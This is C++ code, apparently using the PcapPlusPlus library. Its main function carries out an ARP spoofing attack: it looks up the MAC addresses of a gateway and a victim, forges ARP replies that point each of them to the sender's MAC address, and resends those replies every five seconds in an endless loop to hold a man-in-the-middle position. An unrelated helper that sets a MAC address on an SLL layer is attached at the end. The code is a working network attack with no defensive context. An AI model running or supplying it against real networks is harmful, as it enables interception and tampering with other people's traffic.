bool doArpSpoofing(PcapLiveDevice* pDevice, const IPv4Address& gatewayAddr, const IPv4Address& victimAddr) { // Get the gateway MAC address MacAddress gatewayMacAddr = getMacAddress(gatewayAddr, pDevice); if (!gatewayMacAddr.isValid()) { printf("Failed to find gateway MAC address. Exiting...\n"); return false; } printf("Got gateway MAC address: %s\n", gatewayMacAddr.toString().c_str()); // Get the victim MAC address MacAddress victimMacAddr = getMacAddress(victimAddr, pDevice); if (!victimMacAddr.isValid()) { printf("Failed to find victim MAC address. Exiting...\n"); return false; } printf("Got victim MAC address: %s\n", victimMacAddr.toString().c_str()); MacAddress deviceMacAddress = pDevice->getMacAddress(); // Create ARP reply for the gateway Packet gwArpReply(500); EthLayer gwEthLayer(deviceMacAddress, gatewayMacAddr, (uint16_t)PCPP_ETHERTYPE_ARP); ArpLayer gwArpLayer(ARP_REPLY, pDevice->getMacAddress(), gatewayMacAddr, victimAddr, gatewayAddr); gwArpReply.addLayer(&gwEthLayer); gwArpReply.addLayer(&gwArpLayer); gwArpReply.computeCalculateFields(); // Create ARP reply for the victim Packet victimArpReply(500); EthLayer victimEthLayer(deviceMacAddress, victimMacAddr, (uint16_t)PCPP_ETHERTYPE_ARP); ArpLayer victimArpLayer(ARP_REPLY, pDevice->getMacAddress(), victimMacAddr, gatewayAddr, victimAddr); victimArpReply.addLayer(&victimEthLayer); victimArpReply.addLayer(&victimArpLayer); victimArpReply.computeCalculateFields(); // Send ARP replies to gateway and to victim every 5 seconds printf("Sending ARP replies to victim and to gateway every 5 seconds...\n\n"); while(true) { pDevice->sendPacket(&gwArpReply); printf("Sent ARP reply: %s [gateway] is at MAC address %s [me]\n", gatewayAddr.toString().c_str(), deviceMacAddress.toString().c_str()); pDevice->sendPacket(&victimArpReply); printf("Sent ARP reply: %s [victim] is at MAC address %s [me]\n\n", victimAddr.toString().c_str(), deviceMacAddress.toString().c_str()); PCAP_SLEEP(5); } return true; }
bool SllLayer::setMacAddressAsLinkLayer(MacAddress macAddr) { if (!macAddr.isValid()) { LOG_ERROR("MAC address is not valid"); return false; } uint8_t macAddrAsArr[6]; macAddr.copyTo(macAddrAsArr); return setLinkLayerAddr(macAddrAsArr, 6); }